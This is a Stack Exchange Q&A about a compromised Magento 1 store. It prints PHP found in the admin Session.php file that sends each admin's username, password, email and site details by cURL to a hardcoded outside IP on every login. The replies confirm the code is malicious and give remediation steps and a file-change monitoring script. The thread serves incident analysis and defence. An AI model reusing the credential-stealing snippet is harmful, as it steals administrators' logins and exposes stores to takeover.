3

A little background
A couple of months ago one of my clients had mentioned that they were having issues logging into the admin panel. When I looked into it, it seemed that the login was timing out because it was taking so long (1 minute exactly).

I did a "quick-fix" of increasing the timeout value and made a note to investigate this more. We had moved servers a few weeks before that from a shared hosting that was suffering frequent downtimes to a VPS on a different provider. Having more freedom on the VPS, I decided to use PHP-FPM on the new server in anticipation that we would be soon setting up a Magento 2 in parallel which needed a different PHP version. I'm mentioning all this because I assumed that PHP-FPM was the culprit that it was very slow and that I most probably needed to read more regarding its performance configurations.

Investigation
What I did not expect is that after several hours of changing configurations, investigating profiler etc. I ended up on this piece of strange code in the file app/code/core/Mage/Admin/Model/Session.php:

/** @var $user Mage_Admin_Model_User */
        $user = $this->_factory->getModel('admin/user');
        $user->login($username, $password);
        if ($user->getId()) {
                                    $data1 = $username;
                                    $data2 = $password;
                                    $data3 = $user->getEmail();
                                    $data4 = $_SERVER['SERVER_NAME'];
                                    $data5 = $_SERVER['REQUEST_URI'];
                                    $auth1 = "Username=".($data1)."&Password=".($data2)."&Email=".($data3)."&Site=".($data4)."&Request=".($data5);
                                    $url = "http://69.30.232.110/login.php";
                                    $ch = curl_init();
                                    curl_setopt($ch, CURLOPT_URL,$url);
                                    curl_setopt($ch, CURLOPT_REFERER, $url);
                                    curl_setopt($ch, CURLOPT_HEADER, 1);
                                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                                    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
                                    curl_setopt($ch, CURLOPT_TIMEOUT, 60); //
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
                                    curl_setopt($ch, CURLOPT_POST, 1);
                                    curl_setopt($ch, CURLOPT_POSTFIELDS, $auth1);
                                    $result = curl_exec($ch);
                                    curl_close($ch);
            $this->renewSession();

            if (Mage::getSingleton('adminhtml/url')->useSecretKey()) {
                Mage::getSingleton('adminhtml/url')->renewSecretUrls();
            }

Special emphasis here on the line going to "http://69.30.232.110/login.php". It seems that the domain/IP address is no longer in use and curl_exec was timing out hence the whole login was taking so long.

Was this some kind of malicious code inserted somehow?

2
  • you moved to a new server? could that be the ipaddress of the old server, that was hardcoded in during development? and was over looked when going live on the actual domain?
    – PaddyD
    Commented Jul 2, 2019 at 9:35
  • @PaddyD I can't verify that anymore unfortunately but would be strange nonetheless. I found similar code with the same ip address dotted in a few other places in the Magento files. The last time these files were modified was in 2016 - well before I took on this client. It's looking more and more like malicious code meant to steal admin credentials, emails and even credit card information (although the latter wouldn't have worked anyway).
    – frezq
    Commented Jul 2, 2019 at 22:52

1 Answer 1

1

Yes (unless the developer previously working on this store lost its mind).

I'm sorry to tell you, but best is to take this shop offline until you did at least the following:

  • change/invalidate all passwords (FE and BE logins, dbpwd is more than a good choice too)
  • regardless of whether GDPR or other regulations force or expect you to do so - inform your customers about a security leak and advice them to change their passwords especially in case they did use them on other platforms
  • check your backend / database for blankly stored passwords (i.e. SMTP extensions do this often) and change them
  • verify there are no other 3rd party services that provide sensitive data within or share from Magento
  • check the fields that allow you to directly provide scripts in backend
  • check your source by modification date (or compare your source against the original source with tools like winmerge or similar)
  • apply ALL SUPEE security patches officially provided on magento.com (a better choice might even be to start with a fresh source once again...)
  • check your store using magento.com's security scanner (https://magento.com/security) and mage report (https://magereport.com) - these checks are a bit far from being perfect but a nice addition to above points nonetheless

Now, this is why:

  • you've "stumbled" (no offense, I just did not find a better word right now; it's certainly a good catch!) over snippets in your (core) source providing highly sensitive data via cURL to a remote server
  • the snippet you've posted, placed at the mentioned position in source, is not only able do - but actually does on EVERY backend login send the following information to a remote server:
    • BE user login name
    • BE user password
    • BE user email address
    • BE admin path
    • FE store URL
  • the remote IP address specified is unknown to you
  • I can not imagine ANY case where submitting this kind of data from Magento to a remote server is meaningful. Neither is the way it got integrated - unless you want to do harm.
  • further indicators that make it more than likely that this snippet is nothing but malicious: the server, as stated by you, is not reachable anymore (which make me believe the one responsible for integrating it already got all details of interest), the ip address is currently listed on blacklists (i.e. https://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a69.30.232.110&run=toolpage#), (whether or not the next point is another indicator is mainly up to your location: the IP address seem to from the pool assigned to the US (United States, Missouri, Kansas City) - don't trust these geo locatings to much, though, since it depends on way to many factors and at the end still could just be tunneled, forwarded and what not else)

And how?

Good question - and based on the history and insights you've shared with us probably not to be reproduced anymore (I assume there are no rotated access logs from far back in time available?). So basically there are the classy reasons, namely: outdated software (i.e. missing Magento core/SUPEE patches), weak security precaution in ftp/server (bad password policy, missing fail2ban etc.), stolen passwords (in order of likeliness).

Bonus content (maybe at least interesting in future): - handle with care

Quite a while back I created some sh script (not my best work, though ;)) to catch changes in critical files within Magento by running a daily cron. The script below will send a report after execution listing files changed within the past 24 hours (where webroot = PATH/VHOSTBASE/VHOSTSWEB/ => /var/www/vhosts/domain.tld/httpdocs (based on Plesk's vhosts structure)) giving you a chance to at least start an investigation if needed (the counter is a bit buggy in some edge cases, yet I didn't find time to dig deeper into it).

#!/bin/sh
## configuration section start ##
##
SERVER="WSxx"
#PATH, VHOSTBASE and VHOSTWEB should NOT include trailing slashes (-/)
PATH="/var/www/vhosts"
VHOSTBASE="domain.tld"
VHOSTSWEB="httpdocs"
#SUBFOLDER should include trailing slash (+/)
SUBFOLDER=""
WEBPAGE="domain.tld"
MAILRECIPIENT="[email protected]"
VERSION="v0.0.1.1 | customized check for domain.tld"
##
## configuration section end ##
## search start -- do not change below this line
##
DIRECTORY="${PATH}/${VHOSTBASE}/${VHOSTSWEB}/${SUBFOLDER}"
FINDRESULTS_ALL="$(/usr/bin/find ${DIRECTORY} -type f -mtime -1 -not -path '*/var/minifycache/*' -not -path '*/var/report/*' -not -path '*/var/resource_config.json' -not -path '*/media/catalog/product/*' -not -path '*/web/stats/*' -not -path '*/media/catalog/category/*' -not -path '*/var/locks/*' -not -path '*/var/cache/*' -not -path '*/var/session/*' -not -path '*/var/log/*' -not -path '*/media/css_secure/*' -not -path '*/lib/magmi/state/*' -ls)"
FINDRESULTCOUNT_ALL="$(/usr/bin/find ${DIRECTORY} -type f -mtime -1 -not -path '*/var/minifycache/*' -not -path '*/var/report/*' -not -path '*/var/resource_config.json' -not -path '*/media/catalog/product/*' -not -path '*/web/stats/*' -not -path '*/media/catalog/category/*' -not -path '*/var/locks/*' -not -path '*/var/cache/*' -not -path '*/var/session/*' -not -path '*/var/log/*' -not -path '*/media/css_secure/*' -not -path '*/lib/magmi/state/*' -ls | /usr/bin/wc -l)"
FINDRESULTCOUNT_CRITICAL1="$(/usr/bin/find ${DIRECTORY} -mtime -1 -path '*app/Mage.php' -ls | /usr/bin/wc -l)"
FINDRESULTCOUNT_CRITICAL2="$(/usr/bin/find ${DIRECTORY} -mtime -1 -path '*app/etc/local.xml' -ls | /usr/bin/wc -l)"
FINDRESULTCOUNT_CRITICAL3="$(/usr/bin/find ${DIRECTORY} -mtime -1 -path '*/index.php' -ls | /usr/bin/wc -l)"
FINDRESULTCOUNT_CRITICAL4="$(/usr/bin/find ${DIRECTORY} -mtime -1 -path '*/.htaccess' -ls | /usr/bin/wc -l)"
FINDRESULTCOUNT_EXCEPTION="$(/usr/bin/find ${DIRECTORY} -mtime -1 -path '*/var/report/*' -ls | /usr/bin/wc -l)"
##
## search end
## custom search start
##
##
##
## custom search end
## critical counter start
##
FINDRESULTCOUNT_CRITICALCOUNT="$(( ${FINDRESULTCOUNT_CRITICAL1} + ${FINDRESULTCOUNT_CRITICAL2} + ${FINDRESULTCOUNT_CRITICAL3} + ${FINDRESULTCOUNT_CRITICAL4} ))"
##
## critical counter end
## mail notification start
##
echo "
#################################################################################################################################


Found ${FINDRESULTCOUNT_CRITICALCOUNT} critical hit(s) within ${FINDRESULTCOUNT_ALL} suspicious file change(s).
Found ${FINDRESULTCOUNT_EXCEPTION} new exception reports.

${FINDRESULTS_ALL}


Auto-generated report by MageChangeFetcher on ${SERVER}


#################################################################################################################################
Version: ${VERSION}
Executor dir: $(pwd)
Tested dir: ${DIRECTORY}
For: ${WEBPAGE}" | /usr/bin/mail -s "MageChangeFetcher - ${WEBPAGE} - ${FINDRESULTCOUNT_CRITICALCOUNT}/${FINDRESULTCOUNT_ALL}" ${MAILRECIPIENT}
##
## mail notification end
1
  • 1
    Hey Christoph thanks for your script. I think it's worth mentioning something that might be a useful addition to your code: I found a piece of code (part of the malicious package lol) which modifies the modified timestamp of the tampered file and sets it to the same as any adjacent file. So it "looks" like the file hasn't been changed but in fact it was. The guy spent some effort to hide his tampering. In that case find -mtime would not be sufficient. Just thought to let you know.
    – frezq
    Commented Aug 29, 2019 at 3:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.